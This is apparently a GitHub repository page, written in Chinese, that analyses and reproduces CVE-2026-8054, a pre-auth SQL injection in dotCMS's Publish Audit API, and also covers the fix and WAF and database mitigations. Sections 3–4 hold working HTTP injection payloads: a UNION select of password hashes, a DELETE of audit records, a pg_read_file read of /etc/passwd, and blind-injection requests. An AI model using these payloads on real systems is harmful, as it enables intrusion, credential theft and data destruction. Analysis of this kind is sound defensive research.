Mr-xn/CVE-2026-8054

GitHub: Mr-xn/CVE-2026-8054

该项目详细分析并复现了 dotCMS Core Publish Audit API 中存在的未授权远程 SQL 注入漏洞(CVE-2026-8054)。

Stars: 0 | Forks: 0

# 1. 漏洞概述 CVE-2026-8054 是一个存在于 dotCMS Core 发布审计 API(Publish Audit API)中的**高危前台无需认证 SQL 注入漏洞**(Pre-auth SQL Injection)。该漏洞由官方追踪为**安全事件 SI-75**,并于 2026 年 5 月底被正式收录披露。由于攻击者无需任何账号权限即可远程触发,其潜在危害非常严重。 | 属性 | 值 | |------|-----| | CVE编号 | CVE-2026-8054 | | 官方追踪 | SI-75 | | 漏洞类型 | SQL注入 (CWE-89) | | 影响组件 | dotCMS Core - Publish Audit API | | CVSS评分 | **10.0 (Critical)** | | 受影响版本 | 25.11.04-1 至 26.04.28-02 | | 修复版本 | 26.04.28-03 | | 攻击方式 | 远程未认证SQL注入 (Pre-auth) | | 所需权限 | **无需认证** | | 用户交互 | 无 | | LTS版本影响 | **不受影响**(审计代码分支未反向移植到LTS树) | # 2. 漏洞原理详解 ## 2.1 漏洞本质 漏洞存在于 `/api/auditPublishing/get` 和 `/api/auditPublishing/getAll` 这两个 REST 接口中。这两个接口在接收客户端输入的请求参数时,**未进行任何过滤与参数化绑定,而是直接通过字符串拼接的方式动态构建 SQL 查询语句**。 更致命的是,dotCMS 在这几个涉及审计的敏感后端接口上**完全漏掉了身份验证与越权检查**。这意味着外网任何无凭证的远程攻击者,只要能通过网络访问该系统,就能直接向接口发送带有恶意 Payload 的 HTTP 请求。 ## 2.2 漏洞入口点 **文件路径**: `dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java` 漏洞存在于两个REST API端点: - `GET /api/auditPublishing/get/{bundleId}` - 获取单个发布审计状态 - `POST /api/auditPublishing/getAll` - 批量获取发布审计状态 **关键问题**: 修复前这两个端点**不需要任何认证**,任何匿名用户都可以直接访问。 @Path("/auditPublishing") @Tag(name = "Publishing") public class AuditPublishingResource { @POST @Path("/getAll") @Produces(MediaType.APPLICATION_JSON) public Response getAll(List bundleIds) { // 【漏洞点】没有认证检查!直接调用后端API try { final List statuses = auditAPI.getPublishAuditStatuses(bundleIds); // ... } } } ## 2.3 漏洞核心代码 **文件路径**: `dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java` **方法**: `getPublishAuditStatuses(List bundleIds)` (第224-245行) @CloseDBIfOpened public List getPublishAuditStatuses(List bundleIds) throws DotPublisherException { try { final List result = new ArrayList<>(); DotConnect dc = new DotConnect(); // 【漏洞点1】直接将用户输入拼接到SQL语句中 // 仅添加单引号包裹,没有任何参数化或转义处理 final List parameter = bundleIds.stream() .map(id -> "'" + id + "'") // 危险: 字符串拼接 .collect(Collectors.toList()); // 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入 dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter))); List> items = dc.loadObjectResults(); for(Map item: items) { result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item)); } return result; } catch(Exception e) { Logger.debug(PublisherUtil.class, e.getMessage(), e); throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e); } } **SQL常量** (`SELECT_ALL_BY_BUNDLES_IDS`): SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s) ## 2.4 污点传播路径 graph LR subgraph 外部攻击者 A[远程攻击者] -->|发送恶意payload| B[HTTP REST API] end subgraph Application Layer B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource
GET/POST] C -->|调用| D[PublishAuditAPI] D -->|调用| E[PublishAuditAPIImpl] E -->|传递bundleIds| F[污点处理
bundleIds.stream
.map id -> id] F -->|拼接参数| G[SQL构造
String.format] end subgraph Technology Layer G -->|构造SQL| H[动态SQL查询
SELECT * FROM publishing_queue_audit
WHERE bundle_id IN %s] H -->|执行| I[SQL执行] I -->|执行注入SQL| J[PostgreSQL/MySQL] end subgraph 漏洞点 K[漏洞点1
无认证检查] -.->|跳过认证| C L[漏洞点2
无参数化绑定] -.->|仅添加引号| F end style A fill:#ff6b6b,stroke:#333,color:#fff style K fill:#ff6b6b,stroke:#333,color:#fff style L fill:#ff6b6b,stroke:#333,color:#fff style J fill:#ffa94d,stroke:#333 ## 2.5 SQL注入原理分析 假设用户输入 `bundleIds = ["x' OR '1'='1"]` **正常SQL**: SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id') **注入后SQL**: SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1') 由于 `'1'='1'` 永远为真,此查询会返回表中所有记录。 graph TD subgraph 输入对比 A[正常输入
bundle-123] -->|构造| B[正常SQL
WHERE bundle_id IN
'bundle-123'] C[恶意输入
x OR 1=1] -->|注入| D[注入SQL
WHERE bundle_id IN
x OR 1=1] end subgraph 数据库执行 B -->|执行| E[数据库] D -->|执行| E end subgraph 结果对比 E -->|返回| F[正常结果
1条记录] E -->|返回 数据泄露| G[泄露结果
所有记录] end style C fill:#ff6b6b,stroke:#333,color:#fff style G fill:#ff6b6b,stroke:#333,color:#fff style D fill:#ff6b6b,stroke:#333,color:#fff note1[注入点: 单引号闭合原有字符串
OR 1=1 使条件永远为真
结果: 返回所有记录] # 3. 影响危害分析 成功利用该漏洞的攻击者可以以**数据库系统用户的上下文执行任意 SQL 命令**,从而导致以下严重后果: graph TD subgraph 攻击影响分析 subgraph 数据机密性 A[管理员密码哈希] B[用户凭证] C[重置Token] D[系统配置] end subgraph 数据完整性 E[网站内容] F[用户角色权限] G[审计日志] end subgraph 系统可用性 H[DROP TABLE] I[DELETE数据] J[UPDATE数据] end subgraph 权限提升 K[管理员接管] L[文件系统读写] M[远程代码执行] end end N[SQL注入漏洞] -->|泄露| A N -->|泄露| B N -->|泄露| C N -->|篡改| E N -->|篡改| F N -->|执行| H N -->|实现| K N -->|实现| L O[CVSS 10.0 Critical] -.->|评估| N style N fill:#ff6b6b,stroke:#333,color:#fff style O fill:#ff6b6b,stroke:#333,color:#fff ## 3.1 敏感数据泄露 攻击者可以通过 SQL 注入拖取核心数据库表,获取: - 管理员密码哈希 - 用户凭证信息 - 重置 Token - 系统配置信息 - 网站内容数据 **示例攻击Payload - 获取管理员密码**: POST /api/auditPublishing/getAll HTTP/1.1 Host: target:8080 Content-Type: application/json ["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"] ## 3.2 数据篡改与破坏 攻击者可以任意修改、插入或删除数据库中的: - 网站内容 - 用户角色权限 - 系统配置 - 审计日志 **示例攻击Payload - 删除审计记录**: POST /api/auditPublishing/getAll HTTP/1.1 Host: target:8080 Content-Type: application/json ["x'; DELETE FROM publishing_queue_audit; --"] ## 3.3 权限提升与远程代码执行 根据后端连接的数据库类型(PostgreSQL、MySQL 等)及配置权限,攻击者可能借由注入点进一步实现: - 后台管理员账户接管 - 文件系统读写(通过数据库函数) - 远程代码执行(RCE) **示例攻击Payload - PostgreSQL文件读取**: POST /api/auditPublishing/getAll HTTP/1.1 Host: target:8080 Content-Type: application/json ["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"] ## 3.4 攻击面分析 | 维度 | 评估 | |------|------| | 攻击向量 | 网络远程 (Network) | | 攻击复杂度 | 低 (Low) | | 前置条件 | 无 (None) | | 用户交互 | 无 (None) | | 影响范围 | 已变更 (Changed) | | 机密性影响 | 高 (High) | | 完整性影响 | 高 (High) | | 可用性影响 | 高 (High) | # 4. 漏洞复现步骤 ## 4.1 环境搭建 graph TB subgraph Docker环境架构 subgraph docker-compose A[dotcms-vuln
dotcms:25.11.04-1] B[dotcms-db
postgres:15] C[dotcms-es
elasticsearch:7.17] end D[dotcms-net
bridge网络] E[HTTP :8080] F[HTTPS :8443] G[PostgreSQL :5432] H[Elasticsearch :9200] end A -->|暴露| E A -->|暴露| F B -->|暴露| G C -->|暴露| H A -->|连接数据库| B A -->|连接搜索引擎| C D --- A D --- B D --- C style A fill:#51cf66,stroke:#333 style B fill:#51cf66,stroke:#333 style C fill:#51cf66,stroke:#333 note1[漏洞版本: 25.11.04-1
初始密码: admin
端口: 8080, 8443] 使用Docker Compose搭建漏洞环境: **docker-compose.yml**: services: dotcms: build: . container_name: dotcms-vuln ports: - "8080:8080" - "8443:8443" environment: - DOT_INITIAL_ADMIN_PASSWORD=admin - DOT_DOTCMS_URL=http://localhost:8080 - DOT_DB_HOST=dotcms-db - DOT_DB_PORT=5432 - DOT_DB_NAME=dotcms - DOT_DB_USERNAME=dotcms - DOT_DB_PASSWORD=dotcms - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms - DOT_DB_DRIVER=org.postgresql.Driver - DOT_ES_ENDPOINTS=http://dotcms-es:9200 - DOT_ES_HOSTNAME=dotcms-es depends_on: dotcms-db: condition: service_healthy dotcms-es: condition: service_started dotcms-db: image: postgres:15 environment: - POSTGRES_DB=dotcms - POSTGRES_USER=dotcms - POSTGRES_PASSWORD=dotcms healthcheck: test: ["CMD-SHELL", "pg_isready -U dotcms"] interval: 5s timeout: 5s retries: 20 dotcms-es: image: elasticsearch:7.17.24 environment: - discovery.type=single-node - xpack.security.enabled=false - "ES_JAVA_OPTS=-Xms512m -Xmx512m" **Dockerfile**: FROM dotcms/dotcms:25.11.04-1 **启动命令**: docker compose up -d # 等待dotCMS初始化完成(约2-3分钟) # 检查状态: docker compose logs -f dotcms ## 4.2 漏洞验证 ### 测试1: 确认端点无需认证 POST /api/auditPublishing/getAll HTTP/1.1 Host: localhost:8080 Content-Type: application/json Content-Length: 11 ["test-id"] **响应**: `200 OK`,返回空数组 `[]`,证明端点无需认证即可访问。 ### 测试2: SQL注入 - 布尔盲注 ✅ 已验证 布尔盲注原理:通过观察HTTP响应状态码的差异来判断注入条件的真假。 graph TD subgraph 布尔盲注流程 A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"] B -->|真条件| C["真条件 and 1=1"] B -->|假条件| D["假条件 and 1=2"] C -->|返回数据| E["404 Not Found 有数据 NPE"] D -->|不返回数据| F["200 OK + 空数组 无数据正常"] E -->|分析| G["分析响应"] F -->|分析| G G -->|推断条件真假| H["结论推断"] end style C fill:#51cf66,stroke:#333 style D fill:#ff6b6b,stroke:#333,color:#fff style E fill:#ff6b6b,stroke:#333,color:#fff style F fill:#51cf66,stroke:#333 note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"] note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"] **真条件测试** (and 1=1): POST /api/auditPublishing/getAll HTTP/1.1 Host: localhost:8080 Content-Type: application/json ["real-bundle-1') and 1=1--'"] **响应**: `404 Not Found` **假条件测试** (and 1=2): POST /api/auditPublishing/getAll HTTP/1.1 Host: localhost:8080 Content-Type: application/json ["real-bundle-1') and 1=2--'"] **响应**: `200 OK`,返回 `[]` **SQL执行分析**: -- 真条件: bundle_id匹配 且 1=1为真 -> 返回数据 -> 代码处理NPE -> 404 select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'') -- 假条件: bundle_id匹配 但 1=2为假 -> 不返回数据 -> 空结果正常处理 -> 200 select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'') **响应差异原理**: | 条件 | SQL结果 | 代码行为 | HTTP响应 | |------|---------|----------|----------| | `and 1=1` (真) | 返回匹配记录 | `turnIntoPublishAuditStatus()` 处理数据时 NullPointerException | **404** | | `and 1=2` (假) | 不返回记录 | 空列表正常返回 | **200 + []** | **结论**: 通过404/200响应差异,攻击者可逐位推断数据库中的任意信息(表名、字段值、密码哈希等)。 ### 测试3: SQL注入 - 时间盲注 ✅ 已验证 时间盲注原理:通过观察响应时间的差异来判断注入条件的真假。 graph TD subgraph 时间盲注流程 A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"] B -->|传递| C["延时Payload SELECT pg_sleep N"] C -->|执行SQL| D["PostgreSQL"] D -->|调用| E["pg_sleep N 延时执行"] E -->|延时N秒| F["测量响应时间"] F -->|对比基线| G["分析延时差异"] G -->|推断条件真假| H["结论推断"] end style C fill:#51cf66,stroke:#333 style E fill:#51cf66,stroke:#333 note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"] **延时3秒测试**: POST /api/auditPublishing/getAll HTTP/1.1 Host: localhost:8080 Content-Type: application/json ["x') and (SELECT pg_sleep(3))::text='t'--'"] ![](https://image.mrxn.net/de759b63aa1c455aa3faaaab1151ce21.webp) **响应**: `200 OK`,耗时 **3.02秒** **延时5秒测试**: POST /api/auditPublishing/getAll HTTP/1.1 Host: localhost:8080 Content-Type: application/json ["x') and (SELECT pg_sleep(5))::text='t'--'"] **响应**: `200 OK`,耗时 **5.01秒** **SQL执行分析**: select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'') **响应时间对比**: | Payload | 预期延时 | 实际耗时 | 结果 | |---------|----------|----------|------| | 正常请求 | 0秒 | 0.03秒 | ✅ | | pg_sleep(3) | 3秒 | 3.02秒 | ✅ 延时成功 | | pg_sleep(5) | 5秒 | 5.01秒 | ✅ 延时成功 | **结论**: 通过控制响应延时,攻击者可在无回显场景下逐位推断数据库信息。 # 5. 修复方案分析 ## 5.1 PR #35553 修复内容 graph TD subgraph 修复方案 subgraph 代码修复 A[参数化查询
使用占位符] B[认证增强
Push Publish Token] C[输入验证
null/空检查] end subgraph 修复效果 D[防止SQL注入] E[限制未授权访问] F[防止空指针异常] end G[PR #35553] H[修复版本
26.04.28-03] end G -->|实现| A G -->|实现| B G -->|实现| C A -->|参数绑定| D B -->|强制认证| E C -->|空值处理| F H -->|包含| G style G fill:#51cf66,stroke:#333 style H fill:#51cf66,stroke:#333 note1[修复前: String.format拼接
修复后: dc.addParam参数绑定] ### 修复1: 参数化查询 **修复前** (漏洞代码): final List parameter = bundleIds.stream() .map(id -> "'" + id + "'") .collect(Collectors.toList()); dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter))); **修复后** (安全代码): // 新增: 空值检查 if (bundleIds == null || bundleIds.isEmpty()) { return Collections.emptyList(); } // 使用参数化查询占位符 final String placeholders = bundleIds.stream() .map(id -> "?") .collect(Collectors.joining(",")); dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders)); bundleIds.forEach(dc::addParam); // 参数绑定,防止SQL注入 ### 修复2: 认证增强 **修复前**: public Response getAll(List bundleIds) { // 无认证检查 try { final List statuses = auditAPI.getPublishAuditStatuses(bundleIds); **修复后**: public Response getAll(final List bundleIds, @Context final HttpServletRequest request) { // 新增: Push Publish Token认证检查 final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken = AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request); final Optional failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken); if (failResponse.isPresent()) { return failResponse.get(); // 返回401 Unauthorized } // ... } ## 5.2 修复原理 | 修复措施 | 说明 | |----------|------| | 参数化查询 | 使用 `?` 占位符替代字符串拼接,数据库会自动处理参数转义,从根本上防止SQL注入 | | 认证增强 | 要求请求携带有效的Push Publish Token,限制只有拥有 publishing-queue 组件权限的已登录后台用户才能访问 | | 输入验证 | 添加null和空列表检查,防止空指针异常 | ## 5.3 影响版本说明 - **受影响版本**: dotCMS Core 25.11.04-1 至 26.04.28-02 之间的所有敏捷开发/快速迭代版本 - **不受影响版本**: LTS(长期支持版)不受影响,因为受影响的审计代码分支从未被反向移植(Backported)到 LTS 树中 # 6. 临时缓解与防护建议 若无法立即升级到修复版本,可采取以下临时缓解措施: graph TD subgraph 防护措施 subgraph 网络层 A[WAF规则拦截
阻止/api/auditPublishing/] B[防火墙限制
仅允许内网访问] end subgraph 应用层 C[Nginx防护规则
location拦截] D[ModSecurity规则
SQL注入检测] end subgraph 数据层 E[数据库权限限制
最小权限原则] F[限制高危函数
pg_read_file等] end G[升级到26.04.28-03
根本解决方案] end A -.->|临时替代| G B -.->|临时替代| G C -.->|临时替代| G E -.->|降低影响| G style G fill:#51cf66,stroke:#333 style A fill:#ffd43b,stroke:#333 style B fill:#ffd43b,stroke:#333 style C fill:#ffd43b,stroke:#333 style D fill:#ffd43b,stroke:#333 note1[优先级: P0 - 立即升级
其他措施为临时缓解方案] ## 6.1 WAF规则拦截 在 Web 应用防火墙(WAF)或反向代理上配置访问控制策略,直接拦截或拒绝外部网络对 `/api/auditPublishing/get` 和 `/api/auditPublishing/getAll` 路径的请求。 ### Nginx 防护规则配置示例 # /etc/nginx/conf.d/dotcms-security.conf # 拦截 Publish Audit API 请求 location ~ ^/api/auditPublishing/(get|getAll) { # 返回403禁止访问 return 403 "Forbidden: Endpoint blocked for security reasons"; add_header Content-Type text/plain; } # 或者使用更宽松的方式,仅允许内网访问 location ~ ^/api/auditPublishing/(get|getAll) { # 允许内网IP段 allow 10.0.0.0/8; allow 172.16.0.0/12; allow 192.168.0.0/16; # 拒绝其他所有来源 deny all; } # 针对SQL注入特征的WAF规则 location / { # 检测常见的SQL注入特征 if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") { return 403; } # 检测单引号注入 if ($request_uri ~* "'") { return 403; } proxy_pass http://dotcms_backend; } ### ModSecurity WAF规则示例 # /etc/modsecurity/rules/dotcms-cve-2026-8054.conf # 规则1: 拦截对漏洞端点的访问 SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \ "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'" # 规则2: 检测SQL注入特征 SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \ "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'" ## 6.2 限制数据库权限 确保 dotCMS 连接数据库的账户遵循**最小权限原则**: -- PostgreSQL 权限限制示例 -- 创建受限用户 CREATE USER dotcms_restricted WITH PASSWORD 'secure_password'; -- 仅授予必要的表权限 GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted; -- 禁止创建/删除表 REVOKE CREATE ON SCHEMA public FROM dotcms_restricted; -- 禁止执行系统命令 REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted; -- 禁止读取文件 REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted; ## 6.3 网络层防护 # 使用iptables限制对API端口的访问 # 仅允许内网访问8080端口 iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT iptables -A INPUT -p tcp --dport 8080 -j DROP # 7. 总结 graph TD subgraph 漏洞总结 subgraph 根因分析 A[缺乏输入验证
用户输入直接拼接SQL] B[缺乏认证
API无需认证即可访问] C[缺乏参数化
字符串拼接而非参数查询] end subgraph CVSS评估 D[CVSS 10.0
Critical] E[网络远程] F[低复杂度] G[无需认证] end subgraph 修复建议 H[P0: 立即升级
26.04.28-03] I[P1: WAF拦截
临时缓解] J[P2: 数据库权限
降低影响] end end A -->|导致| D B -->|导致| D C -->|导致| D H -->|解决| A H -->|解决| B H -->|解决| C I -.->|临时替代| H J -.->|降低风险| H style D fill:#ff6b6b,stroke:#333,color:#fff style H fill:#51cf66,stroke:#333 note1[攻击向量: Network
攻击复杂度: Low
权限要求: None
用户交互: None] ## 7.1 漏洞根因 1. **缺乏输入验证**: 用户输入直接拼接到SQL语句中,未进行任何过滤或转义 2. **缺乏认证**: API端点无需任何认证即可访问,暴露了敏感的后端功能 3. **缺乏参数化**: 使用字符串拼接而非参数化查询,违反了安全编码最佳实践 ## 7.2 攻击面评估 - **攻击向量**: 网络远程 (Network) - **攻击复杂度**: 低 (Low) - **前置条件**: 无 (None) - **用户交互**: 无 (None) - **CVSS评分**: 10.0 (Critical) ## 7.3 修复建议优先级 | 优先级 | 措施 | 说明 | |--------|------|------| | **P0 - 立即** | 升级到 dotCMS 26.04.28-03 或更高版本 | 官方修复版本,从根本上解决问题 | | **P1 - 紧急** | 配置WAF规则拦截 | 临时缓解措施,阻止攻击流量 | | **P2 - 重要** | 限制数据库权限 | 降低漏洞被利用后的影响范围 | | **P3 - 建议** | 安全审计其他端点 | 检查是否存在类似问题 | ## 7.4 LTS版本说明 官方表示 **LTS(长期支持版)不受影响**,因为受影响的审计代码分支从未被反向移植(Backported)到 LTS 树中。使用 LTS 版本的用户无需紧急升级。 # 8. 参考资料 1. [NVD - CVE-2026-8054](https://nvd.nist.gov/vuln/detail/CVE-2026-8054) 2. [SentinelOne - CVE-2026-8054 Vulnerability Database](https://www.sentinelone.com/vulnerability-database/cve-2026-8054/) 3. [dotCMS Security Advisory - SI-75](https://dev.dotcms.com/docs/known-security-issues?issueNumber=SI-75) 4. [dotCMS REST API Authentication](https://dev.dotcms.com/docs/rest-api-authentication) 5. [GitHub PR #35553 - Fix](https://github.com/dotCMS/core/pull/35553) 6. [Alan Turing Institute - TIER_2 CVE-2026-8054 Report](https://github.com/alan-turing-institute/cyber-threat-observatory/blob/main/reports/2026-05-27/TIER_2_CVE-2026-8054.md) **报告生成时间**: 2026-06-08 **分析工具**: Docker, curl, PostgreSQL **漏洞版本**: dotCMS 25.11.04-1 **修复版本**: dotCMS 26.04.28-03 (PR #35553)
标签:CISA项目, CVE-2026-8054, dotCMS, JS文件枚举, Web安全, 测试用例, 版权保护, 蓝队分析, 请求拦截